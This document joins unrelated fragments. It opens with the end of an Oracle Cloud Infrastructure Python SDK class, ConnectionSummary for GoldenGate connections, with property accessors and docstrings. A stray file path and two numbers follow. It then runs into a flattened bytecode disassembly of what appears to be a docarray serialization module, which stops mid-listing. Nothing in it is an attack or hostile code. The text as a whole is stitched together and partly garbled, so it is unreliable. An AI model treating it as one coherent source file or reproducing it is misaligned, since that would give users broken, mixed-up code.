ConnectionSummary. The system tags associated with this resource, if any. The system tags are set by Oracle Cloud Infrastructure services. Each key is predefined and scoped to namespaces. For more information, see `Resource Tags`__. Example: `{orcl-cloud: {free-tier-retain: true}}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :return: The system_tags of this ConnectionSummary. :rtype: dict(str, dict(str, object)) """ return self._system_tags @system_tags.setter def system_tags(self, system_tags): """ Sets the system_tags of this ConnectionSummary. The system tags associated with this resource, if any. The system tags are set by Oracle Cloud Infrastructure services. Each key is predefined and scoped to namespaces. For more information, see `Resource Tags`__. Example: `{orcl-cloud: {free-tier-retain: true}}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :param system_tags: The system_tags of this ConnectionSummary. :type: dict(str, dict(str, object)) """ self._system_tags = system_tags @property def lifecycle_state(self): """ **[Required]** Gets the lifecycle_state of this ConnectionSummary. Possible lifecycle states for connection. :return: The lifecycle_state of this ConnectionSummary. :rtype: str """ return self._lifecycle_state @lifecycle_state.setter def lifecycle_state(self, lifecycle_state): """ Sets the lifecycle_state of this ConnectionSummary. Possible lifecycle states for connection. :param lifecycle_state: The lifecycle_state of this ConnectionSummary. :type: str """ self._lifecycle_state = lifecycle_state @property def lifecycle_details(self): """ Gets the lifecycle_details of this ConnectionSummary. Describes the object's current state in detail. For example, it can be used to provide actionable information for a resource in a Failed state. :return: The lifecycle_details of this ConnectionSummary. :rtype: str """ return self._lifecycle_details @lifecycle_details.setter def lifecycle_details(self, lifecycle_details): """ Sets the lifecycle_details of this ConnectionSummary. Describes the object's current state in detail. For example, it can be used to provide actionable information for a resource in a Failed state. :param lifecycle_details: The lifecycle_details of this ConnectionSummary. :type: str """ self._lifecycle_details = lifecycle_details @property def time_created(self): """ **[Required]** Gets the time_created of this ConnectionSummary. The time the resource was created. The format is defined by `RFC3339`__, such as `2016-08-25T21:10:29.600Z`. __ https://tools.ietf.org/html/rfc3339 :return: The time_created of this ConnectionSummary. :rtype: datetime """ return self._time_created @time_created.setter def time_created(self, time_created): """ Sets the time_created of this ConnectionSummary. The time the resource was created. The format is defined by `RFC3339`__, such as `2016-08-25T21:10:29.600Z`. __ https://tools.ietf.org/html/rfc3339 :param time_created: The time_created of this ConnectionSummary. :type: datetime """ self._time_created = time_created @property def time_updated(self): """ **[Required]** Gets the time_updated of this ConnectionSummary. The time the resource was last updated. The format is defined by `RFC3339`__, such as `2016-08-25T21:10:29.600Z`. __ https://tools.ietf.org/html/rfc3339 :return: The time_updated of this ConnectionSummary. :rtype: datetime """ return self._time_updated @time_updated.setter def time_updated(self, time_updated): """ Sets the time_updated of this ConnectionSummary. The time the resource was last updated. The format is defined by `RFC3339`__, such as `2016-08-25T21:10:29.600Z`. __ https://tools.ietf.org/html/rfc3339 :param time_updated: The time_updated of this ConnectionSummary. :type: datetime """ self._time_updated = time_updated @property def vault_id(self): """ Gets the vault_id of this ConnectionSummary. Refers to the customer's vault OCID. If provided, it references a vault where GoldenGate can manage secrets. Customers must add policies to permit GoldenGate to manage secrets contained within this vault. :return: The vault_id of this ConnectionSummary. :rtype: str """ return self._vault_id @vault_id.setter def vault_id(self, vault_id): """ Sets the vault_id of this ConnectionSummary. Refers to the customer's vault OCID. If provided, it references a vault where GoldenGate can manage secrets. Customers must add policies to permit GoldenGate to manage secrets contained within this vault. :param vault_id: The vault_id of this ConnectionSummary. :type: str """ self._vault_id = vault_id @property def key_id(self): """ Gets the key_id of this ConnectionSummary. Refers to the customer's master key OCID. If provided, it references a key to manage secrets. Customers must add policies to permit GoldenGate to use this key. :return: The key_id of this ConnectionSummary. :rtype: str """ return self._key_id @key_id.setter def key_id(self, key_id): """ Sets the key_id of this ConnectionSummary. Refers to the customer's master key OCID. If provided, it references a key to manage secrets. Customers must add policies to permit GoldenGate to use this key. :param key_id: The key_id of this ConnectionSummary. :type: str """ self._key_id = key_id @property def ingress_ips(self): """ Gets the ingress_ips of this ConnectionSummary. List of ingress IP addresses from where the GoldenGate deployment connects to this connection's privateIp. Customers may optionally set up ingress security rules to restrict traffic from these IP addresses. :return: The ingress_ips of this ConnectionSummary. :rtype: list[oci.golden_gate.models.IngressIpDetails] """ return self._ingress_ips @ingress_ips.setter def ingress_ips(self, ingress_ips): """ Sets the ingress_ips of this ConnectionSummary. List of ingress IP addresses from where the GoldenGate deployment connects to this connection's privateIp. Customers may optionally set up ingress security rules to restrict traffic from these IP addresses. :param ingress_ips: The ingress_ips of this ConnectionSummary. :type: list[oci.golden_gate.models.IngressIpDetails] """ self._ingress_ips = ingress_ips @property def nsg_ids(self): """ Gets the nsg_ids of this ConnectionSummary. An array of Network Security Group OCIDs used to define network access for either Deployments or Connections. :return: The nsg_ids of this ConnectionSummary. :rtype: list[str] """ return self._nsg_ids @nsg_ids.setter def nsg_ids(self, nsg_ids): """ Sets the nsg_ids of this ConnectionSummary. An array of Network Security Group OCIDs used to define network access for either Deployments or Connections. :param nsg_ids: The nsg_ids of this ConnectionSummary. :type: list[str] """ self._nsg_ids = nsg_ids @property def subnet_id(self): """ Gets the subnet_id of this ConnectionSummary. The `OCID`__ of the target subnet of the dedicated connection. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The subnet_id of this ConnectionSummary. :rtype: str """ return self._subnet_id @subnet_id.setter def subnet_id(self, subnet_id): """ Sets the subnet_id of this ConnectionSummary. The `OCID`__ of the target subnet of the dedicated connection. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param subnet_id: The subnet_id of this ConnectionSummary. :type: str """ self._subnet_id = subnet_id @property def routing_method(self): """ Gets the routing_method of this ConnectionSummary. Controls the network traffic direction to the target: SHARED_SERVICE_ENDPOINT: Traffic flows through the Goldengate Service's network to public hosts. Cannot be used for private targets. SHARED_DEPLOYMENT_ENDPOINT: Network traffic flows from the assigned deployment's private endpoint through the deployment's subnet. DEDICATED_ENDPOINT: A dedicated private endpoint is created in the target VCN subnet for the connection. The subnetId is required when DEDICATED_ENDPOINT networking is selected. Allowed values for this property are: "SHARED_SERVICE_ENDPOINT", "SHARED_DEPLOYMENT_ENDPOINT", "DEDICATED_ENDPOINT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The routing_method of this ConnectionSummary. :rtype: str """ return self._routing_method @routing_method.setter def routing_method(self, routing_method): """ Sets the routing_method of this ConnectionSummary. Controls the network traffic direction to the target: SHARED_SERVICE_ENDPOINT: Traffic flows through the Goldengate Service's network to public hosts. Cannot be used for private targets. SHARED_DEPLOYMENT_ENDPOINT: Network traffic flows from the assigned deployment's private endpoint through the deployment's subnet. DEDICATED_ENDPOINT: A dedicated private endpoint is created in the target VCN subnet for the connection. The subnetId is required when DEDICATED_ENDPOINT networking is selected. :param routing_method: The routing_method of this ConnectionSummary. :type: str """ allowed_values = [ "SHARED_SERVICE_ENDPOINT", "SHARED_DEPLOYMENT_ENDPOINT", "DEDICATED_ENDPOINT", ] if not value_allowed_none_or_none_sentinel(routing_method, allowed_values): routing_method = "UNKNOWN_ENUM_VALUE" self._routing_method = routing_method def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other
data/oci-2.122.0/src/oci/golden_gate/models/connection_summary.py
6,188
9,001
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME base64 STORE_NAME base64 LOAD_CONST 0 LOAD_CONST None IMPORT_NAME csv STORE_NAME csv LOAD_CONST 0 LOAD_CONST None IMPORT_NAME io STORE_NAME io LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pathlib STORE_NAME pathlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_NAME pickle LOAD_CONST 0 LOAD_CONST ('abstractmethod',) IMPORT_NAME abc IMPORT_FROM abstractmethod STORE_NAME abstractmethod POP_TOP LOAD_CONST 0 LOAD_CONST ('nullcontext',) IMPORT_NAME contextlib IMPORT_FROM nullcontext STORE_NAME nullcontext POP_TOP LOAD_CONST 0 LOAD_CONST ('StringIO', 'TextIOWrapper') IMPORT_NAME io IMPORT_FROM StringIO STORE_NAME StringIO IMPORT_FROM TextIOWrapper STORE_NAME TextIOWrapper POP_TOP LOAD_CONST 0 LOAD_CONST ('compress',) IMPORT_NAME itertools IMPORT_FROM compress STORE_NAME compress POP_TOP LOAD_CONST 0 LOAD_CONST ('TYPE_CHECKING', 'Any', 'BinaryIO', 'ContextManager', 'Dict', 'Generator', 'Iterable', 'Iterator', 'List', 'Optional', 'Tuple', 'Type', 'TypeVar', 'Union', 'cast') IMPORT_NAME typing IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING IMPORT_FROM Any STORE_NAME Any IMPORT_FROM BinaryIO STORE_NAME BinaryIO IMPORT_FROM ContextManager STORE_NAME ContextManager IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Generator STORE_NAME Generator IMPORT_FROM Iterable STORE_NAME Iterable IMPORT_FROM Iterator STORE_NAME Iterator IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Type STORE_NAME Type IMPORT_FROM TypeVar STORE_NAME TypeVar IMPORT_FROM Union STORE_NAME Union IMPORT_FROM cast STORE_NAME cast POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME orjson STORE_NAME orjson LOAD_CONST 0 LOAD_CONST ('AnyDoc', 'BaseDoc') IMPORT_NAME docarray.base_doc IMPORT_FROM AnyDoc STORE_NAME AnyDoc IMPORT_FROM BaseDoc STORE_NAME BaseDoc POP_TOP LOAD_CONST 0 LOAD_CONST ('orjson_dumps',) IMPORT_NAME docarray.base_doc.io.json IMPORT_FROM orjson_dumps STORE_NAME orjson_dumps POP_TOP LOAD_CONST 0 LOAD_CONST ('_access_path_dict_to_nested_dict', '_all_access_paths_valid', '_dict_to_access_paths') IMPORT_NAME docarray.helper IMPORT_FROM _access_path_dict_to_nested_dict STORE_NAME _access_path_dict_to_nested_dict IMPORT_FROM _all_access_paths_valid STORE_NAME _all_access_paths_valid IMPORT_FROM _dict_to_access_paths STORE_NAME _dict_to_access_paths POP_TOP LOAD_CONST 0 LOAD_CONST ('_decompress_bytes', '_get_compress_ctx') IMPORT_NAME docarray.utils._internal.compress IMPORT_FROM _decompress_bytes STORE_NAME _decompress_bytes IMPORT_FROM _get_compress_ctx STORE_NAME _get_compress_ctx POP_TOP LOAD_CONST 0 LOAD_CONST ('import_library', 'ProtocolType') IMPORT_NAME docarray.utils._internal.misc IMPORT_FROM import_library STORE_NAME import_library IMPORT_FROM ProtocolType STORE_NAME ProtocolType POP_TOP LOAD_NAME TYPE_CHECKING EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST ('DocVec',) IMPORT_NAME docarray.array.doc_vec.doc_vec IMPORT_FROM DocVec STORE_NAME DocVec POP_TOP LOAD_CONST 0 LOAD_CONST ('IOMixinDocVec',) IMPORT_NAME docarray.array.doc_vec.io IMPORT_FROM IOMixinDocVec STORE_NAME IOMixinDocVec POP_TOP LOAD_CONST 0 LOAD_CONST ('DocListProto',) IMPORT_NAME docarray.proto IMPORT_FROM DocListProto STORE_NAME DocListProto POP_TOP LOAD_CONST 0 LOAD_CONST ('AbstractTensor',) IMPORT_NAME docarray.typing.tensor.abstract_tensor IMPORT_FROM AbstractTensor STORE_NAME AbstractTensor POP_TOP LOAD_NAME TypeVar LOAD_CONST 'T' LOAD_CONST 'IOMixinDocList' LOAD_CONST ('bound',) CALL_FUNCTION STORE_NAME T LOAD_NAME TypeVar LOAD_CONST 'T_doc' LOAD_NAME BaseDoc LOAD_CONST ('bound',) CALL_FUNCTION STORE_NAME T_doc LOAD_CONST 'protobuf-array' LOAD_CONST 'pickle-array' LOAD_CONST 'json-array' BUILD_SET STORE_NAME ARRAY_PROTOCOLS LOAD_CONST 'pickle' LOAD_CONST 'protobuf' LOAD_CONST 'json' BUILD_SET STORE_NAME SINGLE_PROTOCOLS LOAD_NAME ARRAY_PROTOCOLS LOAD_METHOD union LOAD_NAME SINGLE_PROTOCOLS CALL_METHOD STORE_NAME ALLOWED_PROTOCOLS LOAD_CONST 'lz4' LOAD_CONST 'bz2' LOAD_CONST 'lzma' LOAD_CONST 'zlib' LOAD_CONST 'gzip' BUILD_SET STORE_NAME ALLOWED_COMPRESSIONS LOAD_CONST (None, None) LOAD_NAME Union LOAD_NAME pathlib LOAD_ATTR Path LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME ProtocolType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME Optional LOAD_NAME ProtocolType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('file_path', 'default_protocol', 'default_compress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _protocol_and_compress_from_file_path at 0x7fab823b5b70, file "f.py", line 58> LOAD_CONST '_protocol_and_compress_from_file_path' MAKE_FUNCTION STORE_NAME _protocol_and_compress_from_file_path LOAD_BUILD_CLASS LOAD_CONST <code object _LazyRequestReader at 0x7fab40f46c90, file "f.py", line 89> LOAD_CONST '_LazyRequestReader' MAKE_FUNCTION LOAD_CONST '_LazyRequestReader' CALL_FUNCTION STORE_NAME _LazyRequestReader LOAD_BUILD_CLASS LOAD_CONST <code object IOMixinDocList at 0x7faa75f5e930, file "f.py", line 103> LOAD_CONST 'IOMixinDocList' MAKE_FUNCTION LOAD_CONST 'IOMixinDocList' LOAD_NAME Iterable LOAD_NAME T_doc BINARY_SUBSCR CALL_FUNCTION STORE_NAME IOMixinDocList LOAD_CONST None RETURN_VALUE LOAD_FAST default_protocol STORE_FAST protocol LOAD_FAST default_compress STORE_FAST compress LOAD_CONST <code object <listcomp> at 0x7fab823b5d20, file "f.py", line 79> LOAD_CONST '_protocol_and_compress_from_file_path.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL pathlib LOAD_METHOD Path LOAD_FAST file_path CALL_METHOD LOAD_ATTR suffixes GET_ITER CALL_FUNCTION STORE_FAST file_extensions SETUP_LOOP to 76 LOAD_FAST file_extensions GET_ITER FOR_ITER to 74 STORE_FAST extension LOAD_FAST extension LOAD_GLOBAL ALLOWED_PROTOCOLS COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_GLOBAL ProtocolType LOAD_FAST extension CALL_FUNCTION STORE_FAST protocol JUMP_ABSOLUTE LOAD_FAST extension LOAD_GLOBAL ALLOWED_COMPRESSIONS COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST extension STORE_FAST compress JUMP_ABSOLUTE POP_BLOCK LOAD_FAST protocol LOAD_FAST compress BUILD_TUPLE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST e LOAD_FAST e LOAD_METHOD replace LOAD_CONST '.' LOAD_CONST '' CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LazyRequestReader' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fab823b5ed0, file "f.py", line 90> LOAD_CONST '_LazyRequestReader.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME slice LOAD_CONST ('item',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __getitem__ at 0x7fab40f46030, file "f.py", line 94> LOAD_CONST '_LazyRequestReader.__getitem__' MAKE_FUNCTION STORE_NAME __getitem__ LOAD_CONST None RETURN_VALUE LOAD_FAST r LOAD_ATTR iter_content LOAD_CONST 1048576 LOAD_CONST ('chunk_size',) CALL_FUNCTION LOAD_FAST self STORE_ATTR _data LOAD_CONST b'' LOAD_FAST self STORE_ATTR content LOAD_CONST None RETURN_VALUE SETUP_LOOP to 84 LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR content CALL_FUNCTION LOAD_FAST item LOAD_ATTR stop COMPARE_OP < POP_JUMP_IF_FALSE SETUP_EXCEPT to 44 LOAD_FAST self DUP_TOP LOAD_ATTR content LOAD_GLOBAL next LOAD_FAST self LOAD_ATTR _data CALL_FUNCTION INPLACE_ADD ROT_TWO STORE_ATTR content POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL StopIteration COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR content LOAD_FAST item LOAD_ATTR start LOAD_CONST -1 LOAD_FAST item LOAD_ATTR step BUILD_SLICE BINARY_SUBSCR RETURN_VALUE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR content LOAD_FAST item BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'IOMixinDocList' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_NAME Type LOAD_NAME T_doc BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'doc_type' STORE_SUBSCR LOAD_NAME abstractmethod LOAD_CONST <code object __len__ at 0x7faa7455af60, file "f.py", line 106> LOAD_CONST 'IOMixinDocList.__len__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __len__ LOAD_NAME abstractmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME Iterable LOAD_NAME BaseDoc BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('docs',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa7455a810, file "f.py", line 110> LOAD_CONST 'IOMixinDocList.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME classmethod LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_CONST 'DocListProto' LOAD_NAME T LOAD_CONST ('cls', 'pb_msg', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_protobuf at 0x7faa7455ac90, file "f.py", line 117> LOAD_CONST 'IOMixinDocList.from_protobuf' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_protobuf LOAD_CONST 'DocListProto' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object to_protobuf at 0x7faa7455adb0, file "f.py", line 124> LOAD_CONST 'IOMixinDocList.to_protobuf' MAKE_FUNCTION STORE_NAME to_protobuf LOAD_NAME classmethod LOAD_CONST ('protobuf-array', None, False) LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME bytes LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME T LOAD_CONST ('cls', 'data', 'protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_bytes at 0x7faa7455a4b0, file "f.py", line 134> LOAD_CONST 'IOMixinDocList.from_bytes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_bytes LOAD_CONST ('protobuf-array', None, False) LOAD_NAME BinaryIO LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('bf', 'protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _write_bytes at 0x7faa7455a420, file "f.py", line 157> LOAD_CONST 'IOMixinDocList._write_bytes' MAKE_FUNCTION STORE_NAME _write_bytes LOAD_CONST ('protobuf', None, False) LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Iterator LOAD_NAME bytes BINARY_SUBSCR LOAD_CONST ('protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _to_binary_stream at 0x7faa7455a300, file "f.py", line 199> LOAD_CONST 'IOMixinDocList._to_binary_stream' MAKE_FUNCTION STORE_NAME _to_binary_stream LOAD_CONST ('protobuf-array', None, None, False) LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME BinaryIO BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Optional LOAD_NAME bytes BINARY_SUBSCR LOAD_CONST ('protocol', 'compress', 'file_ctx', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object to_bytes at 0x7faa5f1b6030, file "f.py", line 239> LOAD_CONST 'IOMixinDocList.to_bytes' MAKE_FUNCTION STORE_NAME to_bytes LOAD_NAME classmethod LOAD_CONST ('protobuf-array', None, False) LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME str LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME T LOAD_CONST ('cls', 'data', 'protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_base64 at 0x7faa5f1b6e40, file "f.py", line 269> LOAD_CONST 'IOMixinDocList.from_base64' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_base64 LOAD_CONST ('protobuf-array', None, False) LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_CONST ('protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object to_base64 at 0x7faa5f1b66f0, file "f.py", line 292> LOAD_CONST 'IOMixinDocList.to_base64' MAKE_FUNCTION STORE_NAME to_base64 LOAD_NAME classmethod LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME Union LOAD_NAME str LOAD_NAME bytes LOAD_NAME bytearray BUILD_TUPLE BINARY_SUBSCR LOAD_NAME T LOAD_CONST ('cls', 'file', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_json at 0x7faa5f1b6a50, file "f.py", line 314> LOAD_CONST 'IOMixinDocList.from_json' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_json LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object to_json at 0x7faa74b7a030, file "f.py", line 327> LOAD_CONST 'IOMixinDocList.to_json' MAKE_FUNCTION STORE_NAME to_json LOAD_NAME classmethod LOAD_CONST ('utf-8', 'excel') LOAD_NAME Type LOAD_CONST 'T' BINARY_SUBSCR LOAD_NAME str LOAD_NAME str LOAD_NAME Union LOAD_NAME str LOAD_NAME csv LOAD_ATTR Dialect BUILD_TUPLE BINARY_SUBSCR LOAD_CONST 'T' LOAD_CONST ('cls', 'file_path', 'encoding', 'dialect', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_csv at 0x7faa74b7a4b0, file "f.py", line 333> LOAD_CONST 'IOMixinDocList.from_csv' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_csv LOAD_NAME classmethod LOAD_NAME Type LOAD_CONST 'T' BINARY_SUBSCR LOAD_NAME Union LOAD_NAME StringIO LOAD_NAME TextIOWrapper BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME str LOAD_NAME csv LOAD_ATTR Dialect BUILD_TUPLE BINARY_SUBSCR LOAD_CONST 'T' LOAD_CONST ('cls', 'file', 'dialect', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _from_csv_file at 0x7faa74b7a930, file "f.py", line 377> LOAD_CONST 'IOMixinDocList._from_csv_file' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _from_csv_file LOAD_CONST ('excel',) LOAD_NAME str LOAD_NAME Union LOAD_NAME str LOAD_NAME csv LOAD_ATTR Dialect BUILD_TUPLE BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('file_path', 'dialect', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object to_csv at 0x7faa74b7a5d0, file "f.py", line 410> LOAD_CONST 'IOMixinDocList.to_csv' MAKE_FUNCTION STORE_NAME to_csv LOAD_NAME classmethod LOAD_NAME Type LOAD_CONST 'T' BINARY_SUBSCR LOAD_CONST 'pd.DataFrame' LOAD_CONST 'T' LOAD_CONST ('cls', 'df', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_dataframe at 0x7faa74b7a420, file "f.py", line 445> LOAD_CONST 'IOMixinDocList.from_dataframe' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_dataframe LOAD_CONST 'pd.DataFrame' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object to_dataframe at 0x7faa74b7a390, file "f.py", line 520> LOAD_CONST 'IOMixinDocList.to_dataframe' MAKE_FUNCTION STORE_NAME to_dataframe LOAD_NAME property LOAD_NAME bytes LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _stream_header at 0x7faa74b7ad20, file "f.py", line 552> LOAD_CONST 'IOMixinDocList._stream_header' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _stream_header LOAD_NAME classmethod LOAD_NAME abstractmethod LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_CONST ('cls',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_proto_class at 0x7faa74b7a6f0, file "f.py", line 558> LOAD_CONST 'IOMixinDocList._get_proto_class' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME _get_proto_class LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME Union LOAD_NAME ContextManager LOAD_NAME io LOAD_ATTR BufferedReader BINARY_SUBSCR LOAD_NAME ContextManager LOAD_NAME bytes BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME ProtocolType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Optional LOAD_NAME Type LOAD_CONST 'AbstractTensor' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('cls', 'file_ctx', 'protocol', 'compress', 'show_progress', 'tensor_type') BUILD_CONST_KEY_MAP LOAD_CONST <code object _load_binary_all at 0x7faa74b7af60, file "f.py", line 563> LOAD_CONST 'IOMixinDocList._load_binary_all' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _load_binary_all LOAD_NAME classmethod LOAD_CONST ('protobuf', None, False) LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME ContextManager LOAD_NAME io LOAD_ATTR BufferedReader BINARY_SUBSCR LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Generator LOAD_CONST ('T_doc', None, None) BINARY_SUBSCR LOAD_CONST ('cls', 'file_ctx', 'protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _load_binary_stream at 0x7faa74b7adb0, file "f.py", line 662> LOAD_CONST 'IOMixinDocList._load_binary_stream' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _load_binary_stream LOAD_NAME staticmethod LOAD_CONST (None,) LOAD_NAME Union LOAD_NAME str LOAD_NAME bytes LOAD_NAME pathlib LOAD_ATTR Path LOAD_NAME io LOAD_ATTR BufferedReader LOAD_NAME _LazyRequestReader BUILD_TUPLE BINARY_SUBSCR LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME Union LOAD_NAME nullcontext LOAD_NAME io LOAD_ATTR BufferedReader BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME ProtocolType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('file', 'protocol', 'compress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_file_context at 0x7faa74b7a9c0, file "f.py", line 723> LOAD_CONST 'IOMixinDocList._get_file_context' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_file_context LOAD_NAME classmethod LOAD_CONST ('protobuf-array', None, False, False) LOAD_NAME Type LOAD_NAME T BINARY_SUBSCR LOAD_NAME Union LOAD_NAME str LOAD_NAME bytes LOAD_NAME pathlib LOAD_ATTR Path LOAD_NAME io LOAD_ATTR BufferedReader LOAD_NAME _LazyRequestReader BUILD_TUPLE BINARY_SUBSCR LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME bool LOAD_NAME Union LOAD_NAME T LOAD_NAME Generator LOAD_CONST ('T_doc', None, None) BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('cls', 'file', 'protocol', 'compress', 'show_progress', 'streaming', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object load_binary at 0x7faa75f5e0c0, file "f.py", line 745> LOAD_CONST 'IOMixinDocList.load_binary' MAKE_FUNCTION CALL_FUNCTION STORE_NAME load_binary LOAD_CONST ('protobuf-array', None, False) LOAD_NAME Union LOAD_NAME str LOAD_NAME pathlib LOAD_ATTR Path BUILD_TUPLE BINARY_SUBSCR LOAD_NAME ProtocolType LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('file', 'protocol', 'compress', 'show_progress', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object save_binary at 0x7faa75f5ef60, file "f.py", line 795> LOAD_CONST 'IOMixinDocList.save_binary' MAKE_FUNCTION 